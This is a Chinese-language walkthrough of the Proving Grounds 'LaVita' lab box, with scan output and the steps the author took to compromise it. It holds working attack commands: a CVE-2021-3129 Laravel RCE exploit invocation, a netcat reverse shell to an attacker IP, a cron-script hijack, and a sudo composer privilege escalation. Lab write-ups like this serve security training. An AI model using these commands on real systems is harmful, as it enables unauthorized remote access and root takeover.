nmap
└─# nmap -p- -A 192.168.159.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 00:21 UTC
Nmap scan report for 192.168.159.38
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/1%OT=22%CT=1%CU=38927%PV=Y%DS=4%DC=T%G=Y%TM=674B
OS:AC78%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%TS=A)SEQ(SP=FF%G
OS:CD=1%ISR=10D%TI=Z%CI=Z%TS=A)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M578ST11NW7%O2=M578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578
OS:ST11NW7%O6=M578ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 74.12 ms 192.168.45.1
2 73.75 ms 192.168.45.254
3 74.19 ms 192.168.251.1
4 74.23 ms 192.168.159.38 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.57 seconds

显而易见了突破口只有80端口了

dirsearch
[00:23:12] Starting:
[00:23:14] 301 - 313B - /js -> http://192.168.159.38/js/
[00:23:18] 403 - 279B - /.ht_wsr.txt
[00:23:18] 403 - 279B - /.htaccessBAK
[00:23:18] 403 - 279B - /.htaccess.bak1
[00:23:18] 403 - 279B - /.htaccess.orig
[00:23:18] 403 - 279B - /.html
[00:23:18] 403 - 279B - /.htpasswd_test
[00:23:18] 403 - 279B - /.htaccess.save
[00:23:18] 403 - 279B - /.htpasswds
[00:23:18] 403 - 279B - /.httr-oauth
[00:23:18] 403 - 279B - /.htaccess.sample
[00:23:19] 403 - 279B - /.htaccess_sc
[00:23:19] 403 - 279B - /.htaccess_extra
[00:23:19] 403 - 279B - /.htaccess_orig
[00:23:19] 403 - 279B - /.htaccessOLD
[00:23:19] 403 - 279B - /.htaccessOLD2
[00:23:19] 403 - 279B - /.htm
[00:23:20] 403 - 279B - /.php
[00:23:25] 405 - 835B - /_ignition/execute-solution
[00:23:48] 301 - 314B - /css -> http://192.168.159.38/css/
[00:23:53] 200 - 0B - /favicon.ico
[00:23:57] 302 - 354B - /home -> http://192.168.159.38/login
[00:23:57] 403 - 279B - /images/
[00:23:58] 301 - 317B - /images -> http://192.168.159.38/images/
[00:23:59] 404 - 276B - /javascript/editors/fckeditor
[00:23:59] 301 - 321B - /javascript -> http://192.168.159.38/javascript/
[00:23:59] 404 - 276B - /javascript/tiny_mce
[00:24:00] 403 - 279B - /js/
[00:24:03] 200 - 5KB - /login
[00:24:03] 405 - 835B - /logout
[00:24:16] 200 - 5KB - /register
[00:24:17] 200 - 24B - /robots.txt
[00:24:19] 403 - 279B - /server-status
[00:24:19] 403 - 279B - /server-status/
[00:24:32] 200 - 1KB - /web.config

尝试访问不存在的路径 报错给出cms 和版本号

一开始以为是文件上传漏洞



但发现不太对 咋传都传不上去

于是根据版本搜exp

发现还真有

https://github.com/joshuavanderpoll/CVE-2021-3129

尝试执行whoami 发现成功!

python CVE-2021-3129.py --chain 'laravel/rce2' --host http://192.168.159.38/ --exec 'whoami'

直接来个反弹shell吧

python CVE-2021-3129.py --chain 'laravel/rce2' --host http://192.168.159.38/ --exec 'nc -e /bin/bash 192.168.45.250 80'

成功!nice

在linpeas脚本的帮助下找到了数据库密码和用户



然而进入数据库发现并没有啥可利用的东西



pspy64查看定时任务发现uid为1001 的用户会按时执行artisan的脚本 而且这个脚本的所有者是www-data也就是我们



发现uid的用户是skunk

重写这个文件并写入反弹shell代码



等待该定时任务执行



反弹shell成功

sudo -l 查看可提权的命令



查exp



这里我们得稍微改动一下 我们的 --working-dir必须是指定/var/www/html/lavita的

而这个目录skunk用户 是没有写入权限的 但是正好www-data 有

所以我们得先回到www-data 用户

执行这个命令

echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > /var/www/html/lavita/composer.json



然后再回到skunk用户 执行

sudo composer --working-dir=/var/www/html/lavita run-script x

提权成功

LaVita pg walkthrough Intermediate的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  3. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  4. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  5. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  6. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  7. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  8. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  9. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  10. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

随机推荐

  1. 读书笔记-C#8.0本质论-07

    19. 平台互相操作性和不安全代码 19.1 在托管平台调用非托管代码--P/Invoke模式 CLI通过P/Invoke功能对非托管DLL所导出的函数执行API调用.和类的所有普通方法一样,必须在类 ...

  2. vue组件传参props

    传参格式,将需要传的参数以属性方式写在组件标签上 //组件标签 <zu a='参数一' b='参数b'></zu> 接收格式,在组件内 //props属性接收参数 props: ...

  3. influxdb group by(1d) 查询注意事项

    转载请注明出处: 在 InfluxDB 中,默认的时区是 UTC(协调世界时).所有的时间戳在数据写入时默认视为 UTC.这意味着如果没有在插入数据时指定其他时区,InfluxDB 会将所有时间数据处 ...

  4. R数据分析:生存数据预测模型的建立和评价(二)timeROC与决策曲线

    上篇文章依照jama surgery的一篇文章给大家写了生存数据预测模型评价的C指数.校准曲线和模型验证结果的做法,其实生存数据预测模型的评价方法还有很多,本期接着往下看. Time-dependen ...

  5. Excel VLOOKUP 函数入门教程

    一.引言 在日常工作中,Excel 是处理数据的强大工具之一,而 VLOOKUP 函数作为 Excel 中最常用的查找函数之一,能够帮助用户在表格或数值数组中快速定位并返回所需的数据.它的工作原理是在 ...

  6. Advanced .NET Remoting: 第 9 章 3.在 Remoting 中传递额外的运行时信息

    Advanced .NET Remoting:第 9 章 3.传递运行时信息 前面使用的接收器 ( Sink ) 是 IClientChannelSinks 与 IServerChannelSinks ...

  7. 强化学习:使用自动控制方法PID来解决强化学习问题中的cartpole问题(小车平衡杆问题)

    网上找到的一个实现: 地址: https://gist.github.com/HenryJia/23db12d61546054aa43f8dc587d9dc2c 稍微修改后的代码: import nu ...

  8. [sa-token]StpUtil.getLoginId

    闲聊 一般情况下,我们想用uid,可能需要前端将uid传过来,或者将token传来,然后我们进行识别. 用了sa-token之后,可以使用StpUtil.getLoginId()方法获取当前会话的用户 ...

  9. 如何在 Ubuntu 20.04 上安装 MySQL

    https://dev.mysql.com/downloads/mysql/ 简介: MySQL是最流行的开源关系数据库管理系统.它速度快,容易使用,容易扩展,并且流行的LAMP和LEMP的一部分. ...

  10. Spring Validation 校验

    概述 在 Web 应用中,客户端提交数据之前都会进行数据的校验,比如用户注册时填写的邮箱地址是否符合规范.用户名长度的限制等等,不过这并不意味着服务端的代码可以免去数据验证的工作,用户也可能使用 HT ...